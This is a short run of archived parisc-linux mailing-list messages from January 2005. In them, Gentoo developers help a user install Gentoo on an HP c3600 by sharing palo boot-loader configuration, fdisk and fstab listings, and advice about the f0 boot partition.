Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2005 19:24:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 06 Jan 2005 20:24:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 19C8F3BE51; Thu,  6 Jan 2005 12:24:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30365-03; Thu, 6 Jan 2005 12:24:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 95ACC3BE70; Thu,  6 Jan 2005 12:24:01 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 339C73BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 12:23:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30359-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jan 2005 12:23:57 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 057993BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 12:23:56 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 92BED4957F6; Thu,  6 Jan 2005 12:23:56 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id F0F674957B1
	for <parisc-linux@parisc-linux.org>;
	Thu,  6 Jan 2005 12:23:55 -0700 (MST)
Original-Received: (qmail 28464 invoked from network); 6 Jan 2005 14:23:53 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 6 Jan 2005 14:23:53 -0500
Original-Received: (qmail 5634 invoked from network); 6 Jan 2005 14:23:33 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 6 Jan 2005 14:23:33 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <NAEELOAPEHKLDEDOLEIHMEOMCCAA.bfisher@intech-intl.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25081

On Thursday 06 January 2005 01:48 pm, Ben Fisher wrote:
> What do you do about /etc/fstab for the f0 partition?  Can that make palo
> stop working?

nothing ... just pretend the partition doesnt exist :)

> I read some stuff last night online about HPUX users having similar
> troubles if they did not run "lifinit" to initialize the LIF image.  Is
> there a command in Gentoo which does this?  Is palo supposed to take care
> of it?

i believe so ... of course more experienced people could talk about this; ive 
never used HPUX

> Is there anything else I could have done wrong to create this problem?
> Since you have a working c3600 with Gentoo, could you send me a copy of
> your /etc/palo.conf, /etc/fstab, and any other configuration files you
> think important?

here's my fdisk:
Disk /dev/sda: 50.0 GB, 50019202560 bytes
255 heads, 63 sectors/track, 6081 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1               1           3       24066   f0  Linux/PA-RISC boot
/dev/sda2               4          10       56227+  83  Linux (/boot)
/dev/sda3              11         133      987997+  83  Linux (/)
/dev/sda4             134        6081    47777310   83  Linux (/usr)
[no swap, the machine has ~3gigs of ram :D]

fstab:
/dev/sda2               /boot   ext3    noauto,noatime  1 1
/dev/sda3               /               ext3    noatime                 0 1
/dev/sda4               /usr    ext3    noatime                 0 2

palo.conf:
--commandline=2/vmlinux root=/dev/sda3 term=ttyS0
--init-partitioned=/dev/sda
--recoverykernel=/boot/vmlinux.old

palo:
palo version 1.5 root@hake Fri Oct  1 13:58:29 EDT 2004
ELF32 executable
Partition Start(MB) End(MB) Id Type
1               1      23   f0 Palo
2              24      78   83 ext2
3              79    1043   83 ext2
4            1044   47700   83 ext2
F0 partition start sector 63 length 48132
do_ra(1, 5, 3, -1, '2/vmlinux root=/dev/sda3 term=ttyS0', 4, -1, 32256, 
24643584)
check_bootloader 213
checksum(0x2f270, 36864) = 0x00000000
ipl: addr 32768 size 36864 entry 0x0
 ko 0x0 ksz 0 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<2/vmlinux root=/dev/sda3 term=ttyS0>
check_bootloader 650
checksum(0x26268, 36864) = 0x00000000
ipl: addr 32768 size 36864 entry 0x0
 ko 0x48000 ksz 4727926 k64o 0x0 k64sz 0 rdo 0 rdsz 0
<2/vmlinux root=/dev/sda3 term=ttyS0>

> Finally, what Graphics card are you using on your machine?  I think I've
> still got the FX-e card in my system, and I'm thinking about trading it for
> an ATI Radeon so I can run X, KDE, etc.

mine still has a Visualize FX4 ... the box is acting as a dev server for 
Gentoo, so i never bothered screwing with X on the box
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troubles
Date: Thu, 6 Jan 2005 13:31:50 -0500
Organization: wh0rd.org
Lines: 36
Approved: news@gmane.org
Message-ID: <200501061331.50888.vapier@gentoo.org>
References: <NAEELOAPEHKLDEDOLEIHOEOLCCAA.bfisher@intech-intl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624528 26644 80.91.229.3 (22 Nov 2014 02:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:48 +0000 (UTC)
Cc: gentoo-hppa@gentoo.org,
 parisc-linux@parisc-linux.org
To: "Ben Fisher" <bfisher@intech-intl.com>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2005 18:33:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 06 Jan 2005 19:33:18 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5086A3BE6F; Thu,  6 Jan 2005 11:33:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29700-05; Thu, 6 Jan 2005 11:33:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id F20FF3BE70; Thu,  6 Jan 2005 11:32:34 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B8C823BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 11:32:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29661-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jan 2005 11:32:12 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C8D653BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 11:32:11 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 7E8494957F6; Thu,  6 Jan 2005 11:32:11 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id D70BC4957B1
	for <parisc-linux@parisc-linux.org>;
	Thu,  6 Jan 2005 11:32:10 -0700 (MST)
Original-Received: (qmail 27837 invoked from network); 6 Jan 2005 13:32:04 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 6 Jan 2005 13:32:04 -0500
Original-Received: (qmail 5190 invoked from network); 6 Jan 2005 13:31:40 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 6 Jan 2005 13:31:40 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <NAEELOAPEHKLDEDOLEIHOEOLCCAA.bfisher@intech-intl.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25082

On Thursday 06 January 2005 01:05 pm, Ben Fisher wrote:
> (I could not get the 64 bit version to work at all! - no
> hppa 64 bit gcc compiler, or something like that), 

on gentoo you have to emerge the 64bit compiler sep from the regular 32bit 
one ... then again, i wouldnt recommend trying it until you're sure you can 
get a 32bit kernel to boot (i havent been able to boot a 64bit kern on my 
C360 in quite sometime, i dont think i tried on the C3600)

> Palo version 1.2 root@LiveCD Wen Jan 5 21:35:19 EST 2005
> Partition Start (MB)  End (MB)          ID      Type
> 1               1       16      f0      Palo
> 2               17      78      83      EXT2
> 3               79      1033    82      SWAP
> 4               1034    8678    83      EXT2
> IPL: ADDR 16384  Size 34816 Entry 0x0
> Ko 0x0 ksz 0 k640 0x0 k64sz 0 rdo 0 rdsz 0
> <2/kernel-2.6.7 ROOT=/dev/sda4 HOME=/>
> IPL: ADDR 16384  Size 34816 Entry 0x0
> Ko 0x0 ksz 0 k640 0x0 k64sz 0 rdo 0 rdsz 0
> <2/kernel-2.6.7 ROOT=/dev/sda4 HOME=/>

looks sane to me ...

> One theory I have is that the instruction guide never told me where to
> mount the f0 partition.  So far as the computer knows, it's just sitting
> there, probably not being written to.

that's because you cant mount it.  running palo takes care of all that magic.
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ben Fisher" <bfisher@intech-intl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: FW: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troubles
Date: Thu, 6 Jan 2005 13:48:38 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <NAEELOAPEHKLDEDOLEIHMEOMCCAA.bfisher@intech-intl.com>
References: <200501061331.50888.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624528 26646 80.91.229.3 (22 Nov 2014 02:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:48 +0000 (UTC)
Cc: gentoo-hppa@gentoo.org,
 parisc-linux@parisc-linux.org
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2005 18:48:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 06 Jan 2005 19:48:45 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 668313BE70; Thu,  6 Jan 2005 11:48:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29700-10; Thu, 6 Jan 2005 11:48:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0AEDC3BE71; Thu,  6 Jan 2005 11:48:23 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D1AC3BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 11:48:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29661-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jan 2005 11:48:01 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D62CA3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 11:48:00 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 6B8B14957F6; Thu,  6 Jan 2005 11:48:00 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from epbweb.epbinternet.com (www.epbinternet.com [66.18.32.34])
	by palinux.hppa (Postfix) with ESMTP id 359614957B1
	for <parisc-linux@parisc-linux.org>;
	Thu,  6 Jan 2005 11:48:00 -0700 (MST)
Original-Received: from Design2 (host-66-18-36-59.epbinternet.com [66.18.36.59])
	by epbweb.epbinternet.com (Postfix) with SMTP id 1A06567632;
	Thu,  6 Jan 2005 13:47:49 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441
Importance: Normal
In-Reply-To: <200501061331.50888.vapier@gentoo.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25083

Mike -

> that's because you cant mount it.  running palo takes care of all that
magic.

What do you do about /etc/fstab for the f0 partition?  Can that make palo
stop working?

I read some stuff last night online about HPUX users having similar troubles
if they did not run "lifinit" to initialize the LIF image.  Is there a
command in Gentoo which does this?  Is palo supposed to take care of it?

Is there anything else I could have done wrong to create this problem?
Since you have a working c3600 with Gentoo, could you send me a copy of your
/etc/palo.conf, /etc/fstab, and any other configuration files you think
important?

Finally, what Graphics card are you using on your machine?  I think I've
still got the FX-e card in my system, and I'm thinking about trading it for
an ATI Radeon so I can run X, KDE, etc.

Thanks for all your help!

-Ben

-----Original Message-----
From: Mike Frysinger [mailto:vapier@gentoo.org]
Sent: Thursday, January 06, 2005 1:32 PM
To: Ben Fisher
Cc: gentoo-hppa@gentoo.org; parisc-linux@parisc-linux.org
Subject: Re: FW: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation
troubles

On Thursday 06 January 2005 01:05 pm, Ben Fisher wrote:
> (I could not get the 64 bit version to work at all! - no
> hppa 64 bit gcc compiler, or something like that),

on gentoo you have to emerge the 64bit compiler sep from the regular 32bit
one ... then again, i wouldnt recommend trying it until you're sure you can
get a 32bit kernel to boot (i havent been able to boot a 64bit kern on my
C360 in quite sometime, i dont think i tried on the C3600)

> Palo version 1.2 root@LiveCD Wen Jan 5 21:35:19 EST 2005
> Partition Start (MB)  End (MB)          ID      Type
> 1               1       16      f0      Palo
> 2               17      78      83      EXT2
> 3               79      1033    82      SWAP
> 4               1034    8678    83      EXT2
> IPL: ADDR 16384  Size 34816 Entry 0x0
> Ko 0x0 ksz 0 k640 0x0 k64sz 0 rdo 0 rdsz 0
> <2/kernel-2.6.7 ROOT=/dev/sda4 HOME=/>
> IPL: ADDR 16384  Size 34816 Entry 0x0
> Ko 0x0 ksz 0 k640 0x0 k64sz 0 rdo 0 rdsz 0
> <2/kernel-2.6.7 ROOT=/dev/sda4 HOME=/>

looks sane to me ...

> One theory I have is that the instruction guide never told me where to
> mount the f0 partition.  So far as the computer knows, it's just sitting
> there, probably not being written to.

that's because you cant mount it.  running palo takes care of all that
magic.
-mike

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troubles
Date: Thu, 06 Jan 2005 13:56:10 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1105037770.4319.60.camel@mulgrave>
References: <NAEELOAPEHKLDEDOLEIHOEOLCCAA.bfisher@intech-intl.com>
	<200501061331.50888.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624528 26648 80.91.229.3 (22 Nov 2014 02:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:48 +0000 (UTC)
Cc: Ben Fisher <bfisher@intech-intl.com>,
 gentoo-hppa@gentoo.org,
 parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2005 18:57:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 06 Jan 2005 19:57:07 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C382E3BE76; Thu,  6 Jan 2005 11:57:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29915-07; Thu, 6 Jan 2005 11:57:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3601C3BE72; Thu,  6 Jan 2005 11:56:56 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80F2E3BE70
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 11:56:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29915-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jan 2005 11:56:35 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 8DE8B3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 11:56:35 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 3A2D64957F6; Thu,  6 Jan 2005 11:56:35 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP id A72B34957B1
	for <parisc-linux@parisc-linux.org>;
	Thu,  6 Jan 2005 11:56:34 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	j06IuFH25441; Thu, 6 Jan 2005 13:56:15 -0500
In-Reply-To: <200501061331.50888.vapier@gentoo.org>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25084

On Thu, 2005-01-06 at 13:31 -0500, Mike Frysinger wrote:
> > One theory I have is that the instruction guide never told me where to
> > mount the f0 partition.  So far as the computer knows, it's just sitting
> > there, probably not being written to.
> 
> that's because you cant mount it.  running palo takes care of all that magic.

Actually, that's not necessarily true.  If you have palo version 1.4 or
later, then the palo partition can be formatted as ext2/ext3 and mounted
just like any other partition.

However, by default palo will create unmountable partitions.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: FW: [parisc-linux] Fwd: RE: Hp c3600 Gentoo Installation troubles
Date: Thu, 6 Jan 2005 14:12:48 -0500
Organization: wh0rd.org
Lines: 25
Approved: news@gmane.org
Message-ID: <200501061412.49024.vapier@gentoo.org>
References: <NAEELOAPEHKLDEDOLEIHOEOLCCAA.bfisher@intech-intl.com>
	<200501061331.50888.vapier@gentoo.org>
	<1105037770.4319.60.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624529 26652 80.91.229.3 (22 Nov 2014 02:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:49 +0000 (UTC)
Cc: gentoo-hppa@lists.gentoo.org,
 parisc-linux@parisc-linux.org
To: Ben Fisher <bfisher@intech-intl.com>
Original-X-From: - Wed Jul 02 21:28:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2005 19:13:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 06 Jan 2005 20:13:28 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D735D3BE70; Thu,  6 Jan 2005 12:13:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30147-08; Thu, 6 Jan 2005 12:13:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7E8663BE72; Thu,  6 Jan 2005 12:13:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 444AE3BE70
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 12:12:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30147-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 Jan 2005 12:12:52 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 513A73BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 Jan 2005 12:12:52 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id F28224957F6; Thu,  6 Jan 2005 12:12:52 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 625864957B1
	for <parisc-linux@parisc-linux.org>;
	Thu,  6 Jan 2005 12:12:51 -0700 (MST)
